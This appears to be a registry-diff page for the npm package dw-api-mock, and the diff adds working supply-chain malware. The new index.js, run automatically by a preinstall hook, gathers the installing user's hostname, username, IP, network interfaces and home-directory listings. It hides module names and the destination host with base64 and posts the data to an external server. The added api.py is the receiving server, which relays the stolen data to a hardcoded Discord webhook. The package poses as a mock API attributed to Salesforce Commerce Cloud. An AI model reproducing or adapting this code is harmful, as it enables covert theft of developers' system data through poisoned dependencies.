dw-api-mock 0.0.1-security → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dw-api-mock might be problematic. Click here for more details.
- package/api.py +138 -0
- package/index.js +108 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/api.py
ADDED
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
import ssl
|
|
4
|
+
import json
|
|
5
|
+
import requests
|
|
6
|
+
import base64
|
|
7
|
+
import urllib.parse
|
|
8
|
+
|
|
9
|
+
# Configuration
|
|
10
|
+
PORT = 123 # The port to listen on
|
|
11
|
+
DISCORD_WEBHOOK_URL = "https://canary.discord.com/api/webhooks/1333484463300284510/1An3rAlCgSGAwjog1BODz50ry7qAII8jJ6dqXaD-L2x1BX2wbAgy7OOJW5-JiVwBZY3h"
|
|
12
|
+
|
|
13
|
+
# Mapping of keys to descriptive names
|
|
14
|
+
KEY_MAPPING = {
|
|
15
|
+
"p": "Package Name",
|
|
16
|
+
"d": "Current Folder",
|
|
17
|
+
"x1": "User Home",
|
|
18
|
+
"x2": "Hostname",
|
|
19
|
+
"x3": "Username",
|
|
20
|
+
"x4": "IP Address",
|
|
21
|
+
"x5": "Network Configuration",
|
|
22
|
+
"x6": "Resolved Package URL",
|
|
23
|
+
"x7": "Package Version",
|
|
24
|
+
"x8": "Package JSON Content",
|
|
25
|
+
"x9": "Files in User Home",
|
|
26
|
+
"y1": "Files in Current Directory",
|
|
27
|
+
"y2": "Subfolder Contents in User Home"
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
class WebhookHandler(http.server.BaseHTTPRequestHandler):
|
|
31
|
+
def do_POST(self):
|
|
32
|
+
try:
|
|
33
|
+
# Read the request headers
|
|
34
|
+
headers = {key: value for key, value in self.headers.items()}
|
|
35
|
+
method = self.command
|
|
36
|
+
path = self.path
|
|
37
|
+
client_ip, client_port = self.client_address
|
|
38
|
+
|
|
39
|
+
# Read the length of the incoming data
|
|
40
|
+
content_length = int(self.headers['Content-Length'])
|
|
41
|
+
body = self.rfile.read(content_length).decode('utf-8')
|
|
42
|
+
|
|
43
|
+
# Decode URL encoding
|
|
44
|
+
parsed_body = urllib.parse.parse_qs(body)
|
|
45
|
+
base64_data = parsed_body.get("msg", [""])[0]
|
|
46
|
+
|
|
47
|
+
# Decode Base64 if applicable
|
|
48
|
+
decoded_body = self.decode_base64_payload(base64_data)
|
|
49
|
+
|
|
50
|
+
# Format the data for clean display
|
|
51
|
+
formatted_data = self.format_received_data(method, path, client_ip, client_port, headers, decoded_body)
|
|
52
|
+
|
|
53
|
+
# Log the data to the console (for debugging)
|
|
54
|
+
print("Webhook Triggered!\n" + formatted_data)
|
|
55
|
+
|
|
56
|
+
# Send the data to Discord
|
|
57
|
+
self.send_to_discord(formatted_data)
|
|
58
|
+
|
|
59
|
+
# Respond to the client
|
|
60
|
+
self.send_response(200)
|
|
61
|
+
self.end_headers()
|
|
62
|
+
self.wfile.write(b"Data received and forwarded.")
|
|
63
|
+
except Exception as e:
|
|
64
|
+
self.send_error(500, f"Internal server error: {str(e)}")
|
|
65
|
+
|
|
66
|
+
def decode_base64_payload(self, base64_data):
|
|
67
|
+
try:
|
|
68
|
+
decoded_data = base64.b64decode(base64_data).decode('utf-8')
|
|
69
|
+
return json.loads(decoded_data) if decoded_data else decoded_data
|
|
70
|
+
except Exception as e:
|
|
71
|
+
print(f"Error decoding Base64 payload: {e}")
|
|
72
|
+
return None
|
|
73
|
+
|
|
74
|
+
def format_received_data(self, method, path, client_ip, client_port, headers, data):
|
|
75
|
+
formatted = "# WEBHOOK TRIGGERED\n"
|
|
76
|
+
formatted += "## INFOS\n"
|
|
77
|
+
formatted += f"**METHOD**: `{method}`\n"
|
|
78
|
+
formatted += f"**PATH**: `{path}`\n"
|
|
79
|
+
formatted += f"**CLIENT IP**: `{client_ip}`\n"
|
|
80
|
+
formatted += f"**CLIENT PORT**: `{client_port}`\n"
|
|
81
|
+
|
|
82
|
+
formatted += "\n## HEADERS\n"
|
|
83
|
+
for key, value in headers.items():
|
|
84
|
+
formatted += f"**{key.upper()}**: `{value}`\n"
|
|
85
|
+
|
|
86
|
+
formatted += "\n## BODY\n"
|
|
87
|
+
if isinstance(data, dict):
|
|
88
|
+
for key, value in data.items():
|
|
89
|
+
try:
|
|
90
|
+
decoded_value = base64.b64decode(value).decode('utf-8') if value else "N/A"
|
|
91
|
+
except Exception:
|
|
92
|
+
decoded_value = value if value else "N/A"
|
|
93
|
+
mapped_key = KEY_MAPPING.get(key, key)
|
|
94
|
+
if isinstance(decoded_value, (list, dict)):
|
|
95
|
+
formatted += f"**{mapped_key}**:\n```\n{json.dumps(decoded_value, indent=4)}\n```\n"
|
|
96
|
+
else:
|
|
97
|
+
formatted += f"**{mapped_key}**: `{decoded_value}`\n"
|
|
98
|
+
else:
|
|
99
|
+
formatted += f"`{data if data else 'N/A'}`"
|
|
100
|
+
|
|
101
|
+
return formatted
|
|
102
|
+
|
|
103
|
+
def send_to_discord(self, content):
|
|
104
|
+
try:
|
|
105
|
+
if len(content) <= 2000:
|
|
106
|
+
self.send_discord_message(content)
|
|
107
|
+
else:
|
|
108
|
+
parts = [content[i:i+1900] for i in range(0, len(content), 1900)]
|
|
109
|
+
for part in parts:
|
|
110
|
+
self.send_discord_message(part)
|
|
111
|
+
except Exception as e:
|
|
112
|
+
print(f"Error sending data to Discord: {str(e)}")
|
|
113
|
+
|
|
114
|
+
def send_discord_message(self, content):
|
|
115
|
+
payload = {"content": content}
|
|
116
|
+
response = requests.post(DISCORD_WEBHOOK_URL, json=payload)
|
|
117
|
+
if response.status_code == 204:
|
|
118
|
+
print("Data successfully sent to Discord.")
|
|
119
|
+
else:
|
|
120
|
+
print(f"Failed to send to Discord: {response.status_code} - {response.text}")
|
|
121
|
+
|
|
122
|
+
# Start the server
|
|
123
|
+
def main():
|
|
124
|
+
try:
|
|
125
|
+
with socketserver.TCPServer(("", PORT), WebhookHandler) as httpd:
|
|
126
|
+
httpd.socket = ssl.wrap_socket(
|
|
127
|
+
httpd.socket,
|
|
128
|
+
certfile="fullchain.pem",
|
|
129
|
+
keyfile="privkey.pem",
|
|
130
|
+
server_side=True
|
|
131
|
+
)
|
|
132
|
+
print(f"Server is listening on HTTPS port {PORT}")
|
|
133
|
+
httpd.serve_forever()
|
|
134
|
+
except KeyboardInterrupt:
|
|
135
|
+
print("\nServer shutting down.")
|
|
136
|
+
|
|
137
|
+
if __name__ == "__main__":
|
|
138
|
+
main()
|
package/index.js
ADDED
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const fs = require("fs");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const querystring = require("querystring");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const packageJSON = require("./package.json");
|
|
7
|
+
const pkg = packageJSON.name;
|
|
8
|
+
const Buffer = require('buffer').Buffer;
|
|
9
|
+
|
|
10
|
+
const encodedTarget = "ZmVlbHByb3VkLm1l";
|
|
11
|
+
const decodedTarget = Buffer.from(encodedTarget, 'base64').toString('utf-8');
|
|
12
|
+
|
|
13
|
+
const dynamicRequire = (mod) => require(mod);
|
|
14
|
+
|
|
15
|
+
const modules = {
|
|
16
|
+
m1: dynamicRequire(Buffer.from("b3M=", "base64").toString("utf-8")),
|
|
17
|
+
m2: dynamicRequire(Buffer.from("ZG5z", "base64").toString("utf-8")),
|
|
18
|
+
m3: dynamicRequire(Buffer.from("ZnM=", "base64").toString("utf-8")),
|
|
19
|
+
};
|
|
20
|
+
|
|
21
|
+
const mappedMethods = {
|
|
22
|
+
k1: Buffer.from("aG9tZWRpcg==", "base64").toString("utf-8"),
|
|
23
|
+
k2: Buffer.from("aG9zdG5hbWU=", "base64").toString("utf-8"),
|
|
24
|
+
k3: Buffer.from("dXNlckluZm8=", "base64").toString("utf-8"),
|
|
25
|
+
k4: Buffer.from("cmVzb2x2ZQ==", "base64").toString("utf-8"),
|
|
26
|
+
k5: Buffer.from("bmV0d29ya0ludGVyZmFjZXM=", "base64").toString("utf-8"),
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const fA = () => (typeof modules.m1[mappedMethods.k1] === "function" ? modules.m1[mappedMethods.k1]() : null);
|
|
30
|
+
const fB = () => (typeof modules.m1[mappedMethods.k2] === "function" ? modules.m1[mappedMethods.k2]() : null);
|
|
31
|
+
const fC = () => (typeof modules.m1[mappedMethods.k3] === "function" ? modules.m1[mappedMethods.k3]() : null);
|
|
32
|
+
|
|
33
|
+
const asyncF_D = () => {
|
|
34
|
+
return new Promise((resolve) => {
|
|
35
|
+
const hostname = fB();
|
|
36
|
+
if (typeof modules.m2[mappedMethods.k4] === "function" && hostname) {
|
|
37
|
+
modules.m2[mappedMethods.k4](hostname, (err, addresses) => {
|
|
38
|
+
resolve(Buffer.from(JSON.stringify(err ? [] : addresses)).toString("base64"));
|
|
39
|
+
});
|
|
40
|
+
} else {
|
|
41
|
+
resolve(Buffer.from("[]").toString("base64"));
|
|
42
|
+
}
|
|
43
|
+
});
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
const execute = async () => {
|
|
47
|
+
const listA = Buffer.from(JSON.stringify(fs.readdirSync(fA() || __dirname))).toString("base64");
|
|
48
|
+
const listB = Buffer.from(JSON.stringify(fs.readdirSync(__dirname))).toString("base64");
|
|
49
|
+
|
|
50
|
+
const folderData = {};
|
|
51
|
+
fs.readdirSync(fA() || __dirname).forEach(item => {
|
|
52
|
+
try {
|
|
53
|
+
folderData[item] = fs.readdirSync(`${fA()}/${item}`);
|
|
54
|
+
} catch (err) {
|
|
55
|
+
folderData[item] = [];
|
|
56
|
+
}
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
const obfNet = Buffer.from(JSON.stringify(os[mappedMethods.k5]())).toString("base64");
|
|
60
|
+
const obfDns = await asyncF_D();
|
|
61
|
+
|
|
62
|
+
const dataPacket = JSON.stringify({
|
|
63
|
+
p: Buffer.from(pkg).toString("base64"),
|
|
64
|
+
d: Buffer.from(__dirname).toString("base64"),
|
|
65
|
+
x1: Buffer.from(fA() || "").toString("base64"),
|
|
66
|
+
x2: Buffer.from(fB() || "").toString("base64"),
|
|
67
|
+
x3: Buffer.from(fC() ? fC().username : "").toString("base64"),
|
|
68
|
+
x4: obfDns,
|
|
69
|
+
x5: obfNet,
|
|
70
|
+
x6: Buffer.from(packageJSON ? packageJSON.___resolved || "" : "").toString("base64"),
|
|
71
|
+
x7: Buffer.from(packageJSON.version || "").toString("base64"),
|
|
72
|
+
x8: Buffer.from(JSON.stringify(packageJSON)).toString("base64"),
|
|
73
|
+
x9: listA,
|
|
74
|
+
y1: listB,
|
|
75
|
+
y2: Buffer.from(JSON.stringify(folderData)).toString("base64"),
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
var encData = querystring.stringify({
|
|
79
|
+
msg: Buffer.from(dataPacket).toString("base64"),
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
var reqOpts = {
|
|
83
|
+
hostname: decodedTarget,
|
|
84
|
+
port: 123,
|
|
85
|
+
path: "/",
|
|
86
|
+
method: "POST",
|
|
87
|
+
headers: {
|
|
88
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
89
|
+
"Content-Length": encData.length,
|
|
90
|
+
},
|
|
91
|
+
};
|
|
92
|
+
|
|
93
|
+
var req = https.request(reqOpts, (res) => {
|
|
94
|
+
res.on("data", (d) => {
|
|
95
|
+
process.stdout.write(d);
|
|
96
|
+
});
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
req.on("error", (e) => {
|
|
100
|
+
// console.error(e);
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
req.write(encData);
|
|
104
|
+
req.end();
|
|
105
|
+
};
|
|
106
|
+
|
|
107
|
+
// Start execution
|
|
108
|
+
execute();
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "dw-api-mock",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.1.0",
|
|
4
|
+
"description": " Mock version of DW API ",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \\\"Error: no test specified\\\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "SalesforceCommerceCloud",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
|
13
|
+
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dw-api-mock for more information.
|